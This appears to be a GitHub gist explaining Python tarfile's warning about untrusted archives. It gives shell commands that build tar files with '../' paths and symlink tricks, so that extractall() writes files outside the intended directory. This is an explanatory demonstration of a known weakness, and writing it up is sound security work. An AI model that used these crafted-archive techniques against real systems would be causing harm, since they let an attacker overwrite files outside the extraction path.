Skip to content

Instantly share code, notes, and snippets.

@cwgem
Created June 30, 2018 21:58
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cwgem/204b233193b25e123422ed64142d8ff8 to your computer and use it in GitHub Desktop.
Save cwgem/204b233193b25e123422ed64142d8ff8 to your computer and use it in GitHub Desktop.
Fun ways to fool with python tar handling

Introduction

Python's tarfile documentation leaves the following nasty warning:

Warning Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

Let's see what that exactly means.

Directory Traversal With Standard Path Walking

First to toy with the tar archive

$ touch ../test_file.txt
# `--absolute-names` ignores tar's built in file protections to prevent this from working
$ tar --append --absolute-names --file=testing.tar ../test_file.txt
$ ls -lah ../*.txt
-rw-rw-r-- 1 ec2-user ec2-user 0 Jun 30 21:34 ../test_file.txt

Now extract it with python3.6:

$ python36
Python 3.6.3 (default, Jan  4 2018, 16:40:53)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux
>>> import tarfile
>>> with tarfile.open('testing.tar', 'r') as tar:
...   tar.extractall()
...
>>>

The result:

$ ls -lah ../*.txt
-rw-rw-r-- 1 ec2-user ec2-user 0 Jun 30 21:34 ../test_file.txt

Tar file is extracted outside of it's current directory.

Avoiding Absolute Names Protection Directory Traversal Using Symlinks

Another fun one along the same lines is symlink tricks:

$ touch /tmp/test_file2.txt
$ ln -s /tmp something
# Don't even need absolute names protection disabling!
$ tar --append --file=testing.tar something
$ tar --append --file=testing.tar something/test_file2.txt
$ rm /tmp/test_file2.txt

The result here?

$ python36
Python 3.6.3 (default, Jan  4 2018, 16:40:53)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux
>>> import tarfile
>>> with tarfile.open('testing.tar', 'r') as tar:
...   tar.extractall()
...
>>>

$ ls -lah /tmp/test_file2.txt
-rw-rw-r-- 1 ec2-user ec2-user 0 Jun 30 21:45 /tmp/test_file2.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment